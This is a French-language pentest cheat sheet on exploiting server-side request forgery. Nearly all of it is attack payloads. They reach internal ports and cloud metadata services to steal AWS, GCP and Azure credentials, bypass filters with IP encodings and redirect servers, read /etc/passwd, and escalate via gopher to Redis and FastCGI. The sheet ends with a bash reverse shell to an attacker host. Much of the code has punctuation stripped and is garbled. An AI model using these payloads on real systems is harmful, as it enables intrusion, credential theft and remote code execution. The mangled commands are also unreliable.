ssrfwebexploitation
MDstable
SSRF — Server-Side Request Forgery
Exploiter les SSRF pour accéder aux ressources internes, metadata cloud et rebondir
snippetadvanced 2025-05-13 3 min read
ssrfwebexploitationcloudAWSmetadatapentest
Identifier une SSRF
bash
Variables
{{LHOST}}
{{LPORT}}
# Paramètres suspects (URL, fichier, import, webhook)urlhttp//evil.comfilehttp//evil.compathhttp//evil.comsrchttp//evil.comdesthttp//evil.comredirecthttp//evil.comurihttp//evil.comnexthttp//evil.comcallbackhttp//evil.comimage_urlhttp//evil.comproxyhttp//evil.com# Tester avec un serveur de rebond (Burp Collaborator, ngrok, interactsh)urlhttp//{{LHOST}}burpcollaboratornet/testurlhttp//{{LHOST}}{{LPORT}}/ssrf-test# Écouterpython3 -m httpserver {{LPORT}}nc -lvnp {{LPORT}}
Accès aux ressources internes
bash
# Scan de ports internes via SSRF (Blind SSRF + timing ou réponse)urlhttp//127.0.0.122urlhttp//127.0.0.13306urlhttp//127.0.0.16379 # Redisurlhttp//127.0.0.18080urlhttp//127.0.0.19200 # Elasticsearchurlhttp//127.0.0.12375 # Docker API# Accès à des endpoints internesurlhttp//localhost/adminurlhttp//192.168.1.1/urlhttp//10.0.0.18443/internal/api# Schémas alternatifsurlhttp//0x7f000001/ # 127.0.0.1 en hexurlhttp//0177.0.0.1/ # en octalurlhttp//2130706433/ # en décimalurlhttp//1 # IPv6 localhosturlhttp//localhost.localdomain/urlhttp//localtest.me/ # DNS vers 127.0.0.1
Metadata Cloud
AWS
bash
Variables
{{ROLE_NAME}}
{{TOKEN}}
# IMDSv1 (pas de token requis)urlhttp//169.254.169.254/latest/meta-data/urlhttp//169.254.169.254/latest/meta-data/iam/security-credentials/urlhttp//169.254.169.254/latest/meta-data/iam/security-credentials/{{ROLE_NAME}}# Réponse avec credentials temporaires AWS :# AccessKeyId, SecretAccessKey, Token# Hostname → IP (bypass filtre hostname)urlhttp//169.254.169.254/latest/user-data # scripts cloud-initurlhttp//169.254.169.254/latest/meta-data/hostname# IMDSv2 (token requis — si pas filtré sur SSRF)# Step 1 : obtenir un tokencurl -X PUT "http://169.254.169.254/latest/api/token"-H "X-aws-ec2-metadata-token-ttl-seconds: 21600"# Step 2 : utiliser le tokencurl "http://169.254.169.254/latest/meta-data/"-H "X-aws-ec2-metadata-token: {{TOKEN}}"
GCP
bash
urlhttp//metadata.google.internal/computeMetadata/v1/# Header requis : Metadata-Flavor: Googleurlhttp//metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/tokenurlhttp//metadata.google.internal/computeMetadata/v1/project/project-id
Azure
bash
urlhttp//169.254.169.254/metadata/instanceapi-version=2021-02-01# Header requis : Metadata: trueurlhttp//169.254.169.254/metadata/identity/oauth2/tokenapi-version=2021-02-01&resource=https://management.azure.com/
Bypass de filtres
bash
Variables
{{LPORT}}
{{LHOST}}
# Bypass whitelist de domaineurlhttp//trusted.comevilcomurlhttp//trusted.com.evil.com/ # sous-domaine evil# Bypass blacklist 127.0.0.1urlhttp//127.1/urlhttp//127.0.1/urlhttp//0/ # 0.0.0.0urlhttp//00000ffff127001 # IPv6 mappedurlhttp//spoofed.burpcollaborator.net/ # DNS vers 127.0.0.1# Redirections (si le serveur suit les redirections)# Serveur attaquant redirige vers 127.0.0.1python3 -cimport httpserverclass HhttpserverBaseHTTPRequestHandlerdef do_GETselfselfsend_response301selfsend_header'Location' 'http://127.0.0.1:8080/admin'selfend_headershttpserverHTTPServer'' {{LPORT}} Hserve_foreverurlhttp//{{LHOST}}{{LPORT}}/redirect# URL encodingurlhttp//313237303031 # 127.0.0.1 encodéurlhttp//127.0.0.1evilcom# Protocoles alternatifsurlfile///etc/passwd # lecture de fichiersurlgopher//127.0.0.16379/_1 # Redis via SSRFurldict//127.0.0.16379/INFO
SSRF vers RCE
bash
Variables
{{LHOST}}
{{LPORT}}
# Redis via SSRF (Gopher protocol)# Écrire une crontab dans /var/spool/cron/rootgopher//127.0.0.16379/_248# Générer le payload Redis SSRF# Outil : Gopheruspython3 gopheruspy --exploit redis> ReverseShell> {{LHOST}}> {{LPORT}}# Memcached via SSRFurlgopher//127.0.0.111211/_set ssrf 0 60 8# FastCGI (PHP-FPM) — RCE si port 9000 accessible# Gopheruspython3 gopheruspy --exploit fastcgi> /var/www/html/index.php> system'bash -i >& /dev/tcp/{{LHOST}}/{{LPORT}} 0>&1';
💡 Tip —
Toujours tester les schémas file://, gopher://, dict:// et ftp:// en plus de http://. Sur AWS, récupérer les credentials IAM via l'endpoint IMDS est souvent la meilleure escalade — vérifier les permissions attachées au rôle avec aws sts get-caller-identity.
OPS·BRAIN v1.075 notes · Securitylocal